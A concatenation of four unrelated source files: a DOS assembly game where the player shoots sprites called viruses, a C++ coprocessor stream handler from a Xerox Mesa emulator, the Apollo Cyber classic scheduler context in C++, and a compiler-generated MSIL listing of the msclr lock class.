mov BX, 0B8h
;sub BX, _g_playerSize
cmp AX, BX
jne moveBac
jmp finallyBac
moveBac:
add AX, _g_playerSpeed
mov playerY, AX
finallyBac:
call g_DRAWPLAYER
pop BX
pop AX
ret
g_PBACKWARD ENDP
; g_PRIGHTWARD
;
; code exécuté quand la touche de droite est pressée
g_PRIGHTWARD PROC NEAR
push AX
push BX
mov playerRight, 1
call CLEARPLAYER
mov g_lastDepl, 0
mov g_moveFrames, 0
mov AX, playerX
mov BX, 140h
sub BX, _g_playerSize
;sub BX, _g_playerSize
cmp AX, BX
jne moveLef
jmp finallyLef
moveLef:
add AX, _g_playerSpeed
mov playerX, AX
finallyLef:
call g_DRAWPLAYER
pop BX
pop AX
ret
g_PRIGHTWARD ENDP
; g_SHOOT
;
; code exécuté lorsque le joueur tire
g_SHOOT PROC NEAR
cmp g_fireFrames, 50
jl endShoot
oxsPLAYSOUND _A_, 1
call CLEARPROJ
push AX
push BX
mov g_fireFrames, 0
mov AL, playerRight
mov projRight, AL
mov AX, playerX
mov BX, _g_playerSize
sar BX, 1 ; div by 2
cmp playerRight, 0
jz shootLeft
add AX, BX
jmp shootNext
shootLeft:
sub AX, BX
shootNext:
mov projX, AX
mov AX, playerY
mov projY, AX
pop BX
pop AX
mov g_projShow, 1
endShoot:
ret
g_SHOOT ENDP
; g_MENU
;
; gestion du menu
g_MENU PROC NEAR
push AX
push BX
push CX
push DX
oxgFILLS 0, 0, 39, 24, _WHITE_
oxgFILLS 11, 5, 28, 15, _BLACK_
oxgSETCURSOR 13, 7
mov BX, 0001h
lea DX, titleLbl
mov CX, l_titleLbl
mov AH, 40h
int 21h
; on écrit le premier boutton (jouer)
oxgSETCURSOR 18, 10
mov BX, 0001h
lea DX, playBtn
mov CX, l_playBtn
mov AH, 40h
int 21h
; on écrit le deuxième boutton (quitter)
oxgSETCURSOR 18, 13
mov BX, 0001h
lea DX, quitBtn
mov CX, l_quitBtn
mov AH, 40h
int 21h
oxgSETCURSOR 0, 0
; on va écrire l'état du jeu (gagnant ou perdant)
mov BX, 0001h
cmp g_playerWin, 2
je skipWin
cmp g_playerWin, 1
jne menuLoose
oxgFILLS 2, 1, 37, 3, _BLACK_
oxgSETCURSOR 3, 2
lea DX, winLbl
mov CX, l_winLbl
jmp menuWrite
menuLoose:
oxgFILLS 4, 1, 36, 3, _BLACK_
oxgSETCURSOR 5, 2
lea DX, looseLbl
mov CX, l_looseLbl
menuWrite:
mov AH, 40h
int 21h
skipWin:
pop DX
pop CX
pop BX
pop AX
ret
g_MENU ENDP
; g_CHECKWIN
;
; vérifie si le joueur à gagné
g_CHECKWIN PROC NEAR
cmp mobsShowing, 0
jnz finallyCheckWin
cmp mobsShowing+2, 0
jnz finallyCheckWin
cmp mobsShowing+4, 0
jnz finallyCheckWin
cmp mobsShowing+6, 0
jnz finallyCheckWin
mov g_playerWin, 1
finallyCheckWin:
ret
g_CHECKWIN ENDP
; g_DRAWMOBS
;
; dessine les virus
g_DRAWMOBS PROC FAR
cmp g_virusAnimFrames, 30
ja drawAltVir
cmp mobsShowing, 0
jz drawSecVirus
CLEARVIRUS mobsX, mobsY
DRAWVIRUSo mobsX, mobsY
drawSecVirus:
cmp mobsShowing+2, 0
jz drawThiVirus
CLEARVIRUS mobsX+2, mobsY+2
DRAWVIRUSo mobsX+2, mobsY+2
drawThiVirus:
cmp mobsShowing+4, 0
jz drawFouVirus
CLEARVIRUS mobsX+4, mobsY+4
DRAWVIRUSo mobsX+4, mobsY+4
drawFouVirus:
cmp mobsShowing+6, 0
jz nextDraw
CLEARVIRUS mobsX+6, mobsY+6
DRAWVIRUSo mobsX+6, mobsY+6
jmp nextDraw
drawAltVir:
cmp mobsShowing, 0
jz drawAltSecVirus
CLEARVIRUS mobsX, mobsY
DRAWVIRao mobsX, mobsY
drawAltSecVirus:
cmp mobsShowing+2, 0
jz drawAltThiVirus
CLEARVIRUS mobsX+2, mobsY+2
DRAWVIRao mobsX+2, mobsY+2
drawAltThiVirus:
cmp mobsShowing+4, 0
jz drawAltFouVirus
CLEARVIRUS mobsX+4, mobsY+4
DRAWVIRao mobsX+4, mobsY+4
drawAltFouVirus:
cmp mobsShowing+6, 0
jz nextDraw
CLEARVIRUS mobsX+6, mobsY+6
DRAWVIRao mobsX+6, mobsY+6
nextDraw:
ret
g_DRAWMOBS ENDP
|
/*******************************************************************************
* Copyright (c) 2021, Yasuhiro Hasegawa
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*******************************************************************************/
//
// StreamWWC.cpp
//
#include "../util/Util.h"
static const Logger logger = Logger::getLogger("wwc");
#include "../util/Debug.h"
#include "../mesa/Pilot.h"
#include "../mesa/Memory.h"
#include "../mesa/InterruptThread.h"
#include "Agent.h"
#include "AgentStream.h"
#include "StreamWWC.h"
StreamWWC::StreamWWC() : Stream("WWC", CoProcessorServerIDs::workspaceWindowControlMSWindowsService) {
logger.info("%3d %-8s", serverID, name);
}
quint16 StreamWWC::idle (CoProcessorIOFaceGuam::CoProcessorFCBType *fcb, CoProcessorIOFaceGuam::CoProcessorIOCBType *iocb) {
logger.error("%-8s idle %d %d", name, fcb->headCommand, iocb->serverID);
return CoProcessorIOFaceGuam::R_completed;
}
quint16 StreamWWC::accept (CoProcessorIOFaceGuam::CoProcessorFCBType *fcb, CoProcessorIOFaceGuam::CoProcessorIOCBType *iocb) {
logger.error("%-8s accept %d %d", name, fcb->headCommand, iocb->serverID);
ERROR();
return CoProcessorIOFaceGuam::R_error;
}
quint16 StreamWWC::connect(CoProcessorIOFaceGuam::CoProcessorFCBType * /*fcb*/, CoProcessorIOFaceGuam::CoProcessorIOCBType *iocb) {
logger.info("%-8s connect mesaIsServer = %d state mesa = %d pc = %d", name, iocb->mesaIsServer, iocb->mesaConnectionState, iocb->pcConnectionState);
iocb->pcConnectionState = CoProcessorIOFaceGuam::S_connected;
// Need to assign non-zero to mesaGet.hTaskactually. See CoProcessorFace.Get
iocb->mesaGet.hTask = 1;
// With GVWin-XC, If returns R_error, GVWin generate UnboundTrap and goes 915.
// With GVWin-FX, If returns R_error, GVWin generate UnboundTrap and nothing happened.
//return CoProcessorIOFaceGuam::R_completed;
return CoProcessorIOFaceGuam::R_error;
}
quint16 StreamWWC::destroy(CoProcessorIOFaceGuam::CoProcessorFCBType *fcb, CoProcessorIOFaceGuam::CoProcessorIOCBType *iocb) {
logger.info("%-8s destroy %d %d", name, fcb->headCommand, iocb->serverID);
return CoProcessorIOFaceGuam::R_error;
}
quint16 StreamWWC::read (CoProcessorIOFaceGuam::CoProcessorFCBType *fcb, CoProcessorIOFaceGuam::CoProcessorIOCBType *iocb) {
logger.error("%-8s write %d %d", name, fcb->headCommand, iocb->serverID);
return CoProcessorIOFaceGuam::R_error;
}
quint16 StreamWWC::write (CoProcessorIOFaceGuam::CoProcessorFCBType *fcb, CoProcessorIOFaceGuam::CoProcessorIOCBType *iocb) {
logger.error("%-8s write %d %d", name, fcb->headCommand, iocb->serverID);
CoProcessorIOFaceGuam::TransferRec& tr = iocb->mesaGet;
logger.info("mesaGet sst: %d end [Stream: %d Record: %d SST: %d] written: %3d read: %3d hTask: %d int: %d buffer: %4X bufferSize: %3d lock: %d",
tr.subSequence, tr.endStream + 0, tr.endRecord + 0, tr.endSST + 0,
tr.bytesWritten, tr.bytesRead, tr.hTask, tr.interruptMesa, tr.buffer, tr.bufferSize, tr.writeLockedByMesa);
if (tr.writeLockedByMesa) {
logger.warn("writeLockedByMesa");
return CoProcessorIOFaceGuam::R_inProgress;
}
if (tr.buffer == 0) {
logger.fatal("tr.buffer = 0");
ERROR();
}
if (tr.bytesRead != 0) {
logger.fatal("tr.bytesRead = %d", tr.bytesRead);
ERROR();
}
if (tr.bytesWritten != 0) {
logger.fatal("tr.bytesWritten = %d", tr.bytesWritten);
ERROR();
}
quint16* buffer = (quint16*)Store(tr.buffer);
for(int i = 0; i < 9; i++) buffer[i] = 0;
// TODO Need to figure out proper value to store buffer.
// I guess 18 bytes may contains information below.
//
// Excerpt from GVWIN.INI
// [Window]
// FullScreen=TRUE
// TitleBar=FALSE
// WorkspaceWidth=640
// WorkspaceHeight=480
// Window=-4,-4,648,488,0
tr.bytesWritten = 2 * (1 + 2 + 2 + 2 + 2); // It seems that read 18 bytes in first call.
if (tr.interruptMesa) {
if (fcb->interruptSelector) {
fcb->headResult = CoProcessorIOFaceGuam::R_completed;
InterruptThread::notifyInterrupt(fcb->interruptSelector);
}
}
return CoProcessorIOFaceGuam::R_completed;
}
|
/******************************************************************************
* Copyright 2018 The Apollo Authors. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*****************************************************************************/
#include "cyber/scheduler/policy/classic_context.h"
#include "cyber/event/perf_event_cache.h"
namespace apollo {
namespace cyber {
namespace scheduler {
using apollo::cyber::base::AtomicRWLock;
using apollo::cyber::base::ReadLockGuard;
using apollo::cyber::base::WriteLockGuard;
using apollo::cyber::croutine::CRoutine;
using apollo::cyber::croutine::RoutineState;
using apollo::cyber::event::PerfEventCache;
using apollo::cyber::event::SchedPerf;
alignas(CACHELINE_SIZE) GRP_WQ_MUTEX ClassicContext::mtx_wq_;
alignas(CACHELINE_SIZE) GRP_WQ_CV ClassicContext::cv_wq_;
alignas(CACHELINE_SIZE) RQ_LOCK_GROUP ClassicContext::rq_locks_;
alignas(CACHELINE_SIZE) CR_GROUP ClassicContext::cr_group_;
ClassicContext::ClassicContext() { InitGroup(DEFAULT_GROUP_NAME); }
ClassicContext::ClassicContext(const std::string& group_name) {
InitGroup(group_name);
}
void ClassicContext::InitGroup(const std::string& group_name) {
multi_pri_rq_ = &cr_group_[group_name];
lq_ = &rq_locks_[group_name];
mtx_wrapper_ = &mtx_wq_[group_name];
cw_ = &cv_wq_[group_name];
}
std::shared_ptr<CRoutine> ClassicContext::NextRoutine() {
if (unlikely(stop_)) {
return nullptr;
}
for (int i = MAX_PRIO - 1; i >= 0; --i) {
ReadLockGuard<AtomicRWLock> lk(lq_->at(i));
for (auto& cr : multi_pri_rq_->at(i)) {
if (!cr->Acquire()) {
continue;
}
if (cr->UpdateState() == RoutineState::READY) {
PerfEventCache::Instance()->AddSchedEvent(SchedPerf::NEXT_RT, cr->id(),
cr->processor_id());
return cr;
}
if (unlikely(cr->state() == RoutineState::SLEEP)) {
if (!need_sleep_ || wake_time_ > cr->wake_time()) {
need_sleep_ = true;
wake_time_ = cr->wake_time();
}
}
cr->Release();
}
}
return nullptr;
}
void ClassicContext::Wait() {
std::unique_lock<std::mutex> lk(mtx_wrapper_->Mutex());
if (stop_) {
return;
}
if (unlikely(need_sleep_)) {
auto duration = wake_time_ - std::chrono::steady_clock::now();
cw_->Cv().wait_for(lk, duration);
need_sleep_ = false;
} else {
cw_->Cv().wait(lk);
}
}
void ClassicContext::Shutdown() {
{
std::lock_guard<std::mutex> lg(mtx_wrapper_->Mutex());
if (!stop_) {
stop_ = true;
}
}
cw_->Cv().notify_all();
}
void ClassicContext::Notify(const std::string& group_name) {
cv_wq_[group_name].Cv().notify_one();
}
bool ClassicContext::RemoveCRoutine(const std::shared_ptr<CRoutine>& cr) {
auto grp = cr->group_name();
auto prio = cr->priority();
auto crid = cr->id();
WriteLockGuard<AtomicRWLock> lk(
ClassicContext::rq_locks_[grp].at(prio));
auto& croutines = ClassicContext::cr_group_[grp].at(prio);
for (auto it = croutines.begin(); it != croutines.end(); ++it) {
if ((*it)->id() == crid) {
auto cr = *it;
cr->Stop();
while (!cr->Acquire()) {
std::this_thread::sleep_for(std::chrono::microseconds(1));
AINFO_EVERY(1000) << "waiting for task " << cr->name() << " completion";
}
croutines.erase(it);
cr->Release();
return true;
}
}
return false;
}
} // namespace scheduler
} // namespace cyber
} // namespace apollo
|
; Listing generated by Microsoft (R) Optimizing Compiler Version 16.00.30319.01
; Generated by VC++ for Common Language Runtime
.file "c:\projects\CelikNET\CelikNET\Stdafx.cpp"
.global ___@@_PchSym_@00@UkilqvxghUxvorpmvgUxvorpmvgUivovzhvUhgwzucOlyq@
.bss
.local ___@@_PchSym_@00@UkilqvxghUxvorpmvgUxvorpmvgUivovzhvUhgwzucOlyq@,4
.global ?dummy_string@dummy_struct@_detail_class@msclr@@2P$AAVString@System@@$AA ; msclr::_detail_class::dummy_struct::dummy_string
.local ?dummy_string@dummy_struct@_detail_class@msclr@@2P$AAVString@System@@$AA,4 ; msclr::_detail_class::dummy_struct::dummy_string
.local $StringLiteralTok$??_C@_11LOCGONAA@?$AA?$AA@,4
; Function compile flags: /Ogtp
.text
.comdat any, ?.cctor@dummy_struct@_detail_class@msclr@@$$FSMXXZ
.global ?.cctor@dummy_struct@_detail_class@msclr@@$$FSMXXZ ; ?.cctor@dummy_struct@_detail_class@msclr@@$$FSMXXZ
?.cctor@dummy_struct@_detail_class@msclr@@$$FSMXXZ: ; ?.cctor@dummy_struct@_detail_class@msclr@@$$FSMXXZ
; .proc.def D:V()
; Function Header:
; max stack depth = 1
; function size = 11 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .proc.beg
ldstr $StringLiteralTok$??_C@_11LOCGONAA@?$AA?$AA@
stsfld ?dummy_string@dummy_struct@_detail_class@msclr@@2P$AAVString@System@@$AA
ret
.end ?.cctor@dummy_struct@_detail_class@msclr@@$$FSMXXZ ; ?.cctor@dummy_struct@_detail_class@msclr@@$$FSMXXZ
; .proc.end.void
.global ?_safe_false@_detail_class@msclr@@2Q$AAVString@System@@$AA ; msclr::_detail_class::_safe_false
.global ?_safe_true@_detail_class@msclr@@2Q$AAVString@System@@$AA ; msclr::_detail_class::_safe_true
.bss
.local ?_safe_false@_detail_class@msclr@@2Q$AAVString@System@@$AA,4 ; msclr::_detail_class::_safe_false
.local ?_safe_true@_detail_class@msclr@@2Q$AAVString@System@@$AA,4 ; msclr::_detail_class::_safe_true
; Function compile flags: /Ogtp
.text
.comdat any, ?.cctor@_detail_class@msclr@@$$FSMXXZ
.global ?.cctor@_detail_class@msclr@@$$FSMXXZ ; ?.cctor@_detail_class@msclr@@$$FSMXXZ
?.cctor@_detail_class@msclr@@$$FSMXXZ: ; ?.cctor@_detail_class@msclr@@$$FSMXXZ
; .proc.def D:V()
; Function Header:
; max stack depth = 1
; function size = 17 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .proc.beg
ldsfld ?dummy_string@dummy_struct@_detail_class@msclr@@2P$AAVString@System@@$AA
stsfld ?_safe_true@_detail_class@msclr@@2Q$AAVString@System@@$AA
ldnull 0 ; i32 0x0
stsfld ?_safe_false@_detail_class@msclr@@2Q$AAVString@System@@$AA
ret
.end ?.cctor@_detail_class@msclr@@$$FSMXXZ ; ?.cctor@_detail_class@msclr@@$$FSMXXZ
; .proc.end.void
.global ?m_locked@lock@msclr@@3_NA ; msclr::lock::m_locked
.global
.bss
.local ?m_locked@lock@msclr@@3_NA,1 ; msclr::lock::m_locked
.align 2
.local ,4
; Function compile flags: /Ogtp
.text
.comdat any, ?is_locked@lock@msclr@@$$FQ$AAM_NXZ
.global ?is_locked@lock@msclr@@$$FQ$AAM_NXZ ; msclr::lock::is_locked
?is_locked@lock@msclr@@$$FQ$AAM_NXZ: ; msclr::lock::is_locked
; .proc.def D:I()
; Function Header:
; max stack depth = 1
; function size = 7 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; File c:\program files (x86)\microsoft visual studio 10.0\vc\include\msclr\lock.h
; Line 142
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
ret
.end ?is_locked@lock@msclr@@$$FQ$AAM_NXZ ; msclr::lock::is_locked
; .proc.end.u1
; Function compile flags: /Ogtp
.text
.comdat any, ??Block@msclr@@$$FQ$AAMP$AAVString@System@@XZ
.global ??Block@msclr@@$$FQ$AAMP$AAVString@System@@XZ ; msclr::lock::operator System::String ^
??Block@msclr@@$$FQ$AAMP$AAVString@System@@XZ: ; msclr::lock::operator System::String ^
; .proc.def D:P()
; Function Header:
; max stack depth = 1
; function size = 21 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 148
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brfalse.s $LN3@String
ldsfld ?_safe_true@_detail_class@msclr@@2Q$AAVString@System@@$AA
br.s $LN4@String
$LN3@String:
ldsfld ?_safe_false@_detail_class@msclr@@2Q$AAVString@System@@$AA
$LN4@String:
ret
.end ??Block@msclr@@$$FQ$AAMP$AAVString@System@@XZ ; msclr::lock::operator System::String ^
; .proc.end.mptr
.global ?m_object@lock@msclr@@3P$AAVObject@System@@$AA ; msclr::lock::m_object
.global
.bss
.local ?m_object@lock@msclr@@3P$AAVObject@System@@$AA,4 ; msclr::lock::m_object
.local ,4
; Function compile flags: /Ogtp
.text
.comdat any, ?acquire@lock@msclr@@$$FQ$AAMXH@Z
.global ?acquire@lock@msclr@@$$FQ$AAMXH@Z ; msclr::lock::acquire
?acquire@lock@msclr@@$$FQ$AAMXH@Z: ; msclr::lock::acquire
; .proc.def D:V(I)
; Function Header:
; max stack depth = 3
; function size = 46 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.i4 1,"__timeout$" SIG: i4
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 172
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@acquire
; Line 174
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
ldarg.1 ; __timeout$
ldarg.0 ; _this$
ldflda ?m_locked@lock@msclr@@3_NA
call ?TryEnter@Monitor@Threading@System@@$$FSMXP$AAVObject@3@HA$CA_N@Z
; Line 175
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@acquire
; Line 178
ldc.i4 -2147024638 ; i32 0x80070102
call ?GetExceptionForHR@Marshal@InteropServices@Runtime@System@@$$FSMP$AAVException@4@H@Z
throw.u2
$LN1@acquire:
; Line 181
ret
.end ?acquire@lock@msclr@@$$FQ$AAMXH@Z ; msclr::lock::acquire
; .proc.end.void
; Function compile flags: /Ogtp
.text
.comdat any, ?acquire@lock@msclr@@$$FQ$AAMXXZ
.global ?acquire@lock@msclr@@$$FQ$AAMXXZ ; msclr::lock::acquire
?acquire@lock@msclr@@$$FQ$AAMXXZ: ; msclr::lock::acquire
; .proc.def D:V()
; Function Header:
; max stack depth = 3
; function size = 46 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 185
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@acquire@2
; Line 188
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
ldc.i.-1 -1 ; i32 0xffffffff
ldarg.0 ; _this$
ldflda ?m_locked@lock@msclr@@3_NA
call ?TryEnter@Monitor@Threading@System@@$$FSMXP$AAVObject@3@HA$CA_N@Z
; Line 189
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@acquire@2
; Line 192
ldc.i4 -2147024638 ; i32 0x80070102
call ?GetExceptionForHR@Marshal@InteropServices@Runtime@System@@$$FSMP$AAVException@4@H@Z
throw.u2
$LN1@acquire@2:
; Line 195
ret
.end ?acquire@lock@msclr@@$$FQ$AAMXXZ ; msclr::lock::acquire
; .proc.end.void
.global
.bss
.local ,4
; Function compile flags: /Ogtp
.text
.comdat any, ?acquire@lock@msclr@@$$FQ$AAMXVTimeSpan@System@@@Z
.global ?acquire@lock@msclr@@$$FQ$AAMXVTimeSpan@System@@@Z ; msclr::lock::acquire
?acquire@lock@msclr@@$$FQ$AAMXVTimeSpan@System@@@Z: ; msclr::lock::acquire
; .proc.def D:V(M<8 >)
; Function Header:
; max stack depth = 3
; function size = 46 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mb8 1,"__timeout$" SIG: valueType (token:0x4EE83ED)
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 201
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@acquire@3
; Line 203
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
ldarg.1 ; __timeout$
ldarg.0 ; _this$
ldflda ?m_locked@lock@msclr@@3_NA
call ?TryEnter@Monitor@Threading@System@@$$FSMXP$AAVObject@3@VTimeSpan@3@A$CA_N@Z
; Line 204
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@acquire@3
; Line 207
ldc.i4 -2147024638 ; i32 0x80070102
call ?GetExceptionForHR@Marshal@InteropServices@Runtime@System@@$$FSMP$AAVException@4@H@Z
throw.u2
$LN1@acquire@3:
; Line 210
ret
.end ?acquire@lock@msclr@@$$FQ$AAMXVTimeSpan@System@@@Z ; msclr::lock::acquire
; .proc.end.void
; Function compile flags: /Ogtp
.text
.comdat any, ?try_acquire@lock@msclr@@$$FQ$AAM_NH@Z
.global ?try_acquire@lock@msclr@@$$FQ$AAM_NH@Z ; msclr::lock::try_acquire
?try_acquire@lock@msclr@@$$FQ$AAM_NH@Z: ; msclr::lock::try_acquire
; .proc.def D:I(I)
; Function Header:
; max stack depth = 3
; function size = 38 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.i4 1,"__timeout$" SIG: i4
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 216
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@try_acquir
; Line 218
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
ldarg.1 ; __timeout$
ldarg.0 ; _this$
ldflda ?m_locked@lock@msclr@@3_NA
call ?TryEnter@Monitor@Threading@System@@$$FSMXP$AAVObject@3@HA$CA_N@Z
; Line 219
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@try_acquir
; Line 221
ldc.i.0 0 ; u8 0x0
ret
$LN1@try_acquir:
; Line 224
ldc.i.1 1 ; u8 0x1
ret
.end ?try_acquire@lock@msclr@@$$FQ$AAM_NH@Z ; msclr::lock::try_acquire
; .proc.end.u1
; Function compile flags: /Ogtp
.text
.comdat any, ?try_acquire@lock@msclr@@$$FQ$AAM_NVTimeSpan@System@@@Z
.global ?try_acquire@lock@msclr@@$$FQ$AAM_NVTimeSpan@System@@@Z ; msclr::lock::try_acquire
?try_acquire@lock@msclr@@$$FQ$AAM_NVTimeSpan@System@@@Z: ; msclr::lock::try_acquire
; .proc.def D:I(M<8 >)
; Function Header:
; max stack depth = 3
; function size = 38 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mb8 1,"__timeout$" SIG: valueType (token:0x4EE83ED)
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 231
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@try_acquir@2
; Line 233
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
ldarg.1 ; __timeout$
ldarg.0 ; _this$
ldflda ?m_locked@lock@msclr@@3_NA
call ?TryEnter@Monitor@Threading@System@@$$FSMXP$AAVObject@3@VTimeSpan@3@A$CA_N@Z
; Line 234
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brtrue.s $LN1@try_acquir@2
; Line 236
ldc.i.0 0 ; u8 0x0
ret
$LN1@try_acquir@2:
; Line 239
ldc.i.1 1 ; u8 0x1
ret
.end ?try_acquire@lock@msclr@@$$FQ$AAM_NVTimeSpan@System@@@Z ; msclr::lock::try_acquire
; .proc.end.u1
; Function compile flags: /Ogtp
.text
.comdat any, ?release@lock@msclr@@$$FQ$AAMXXZ
.global ?release@lock@msclr@@$$FQ$AAMXXZ ; msclr::lock::release
?release@lock@msclr@@$$FQ$AAMXXZ: ; msclr::lock::release
; .proc.def D:V()
; Function Header:
; max stack depth = 2
; function size = 27 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 245
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brfalse.s $LN1@release
; Line 247
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
call ?Exit@Monitor@Threading@System@@$$FSMXP$AAVObject@3@@Z
; Line 248
ldarg.0 ; _this$
ldc.i.0 0 ; u8 0x0
stfld ?m_locked@lock@msclr@@3_NA
$LN1@release:
; Line 250
ret
.end ?release@lock@msclr@@$$FQ$AAMXXZ ; msclr::lock::release
; .proc.end.void
; Function compile flags: /Ogtp
.text
.comdat any, ??1lock@msclr@@$$FA$AAM@XZ
.global ??1lock@msclr@@$$FA$AAM@XZ ; msclr::lock::~lock
??1lock@msclr@@$$FA$AAM@XZ: ; msclr::lock::~lock
; .proc.def D:V()
; Function Header:
; max stack depth = 2
; function size = 27 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .proc.beg
; Line 136
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brfalse.s $LN3@lock
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
call ?Exit@Monitor@Threading@System@@$$FSMXP$AAVObject@3@@Z
ldarg.0 ; _this$
ldc.i.0 0 ; u8 0x0
stfld ?m_locked@lock@msclr@@3_NA
$LN3@lock:
; Line 137
ret
.end ??1lock@msclr@@$$FA$AAM@XZ ; msclr::lock::~lock
; .proc.end.void
; Function compile flags: /Ogtp
.text
.comdat any, ?<Dispose>@lock@msclr@@$$FM$AAMX_N@Z
.global ?<Dispose>@lock@msclr@@$$FM$AAMX_N@Z ; msclr::lock::<Dispose>
?<Dispose>@lock@msclr@@$$FM$AAMX_N@Z: ; msclr::lock::<Dispose>
; .proc.def D:V(I)
; Function Header:
; max stack depth = 2
; function size = 38 bytes
; local varsig tk = 0x0
; Exception Information:
; 0 handlers, each consisting of filtered handlers
; .formal.mptr 0,"_this$" SIG: Optional C Binding Modifier(token:0x4EFE741).class (token:0x4EFE743)
; .formal.u1 1,"_disposing$" SIG: bool
; .proc.beg
ldarg.1 ; _disposing$
brfalse.s $LN2@
ldarg.0 ; _this$
ldfld ?m_locked@lock@msclr@@3_NA
brfalse.s $LN1@
ldarg.0 ; _this$
ldfld ?m_object@lock@msclr@@3P$AAVObject@System@@$AA
call ?Exit@Monitor@Threading@System@@$$FSMXP$AAVObject@3@@Z
ldarg.0 ; _this$
ldc.i.0 0 ; u8 0x0
stfld ?m_locked@lock@msclr@@3_NA
br.s $LN1@
$LN2@:
ldarg.0 ; _this$
call ?<Finalize>@Object@System@@$$FM$AAMXXZ
$LN1@:
ret
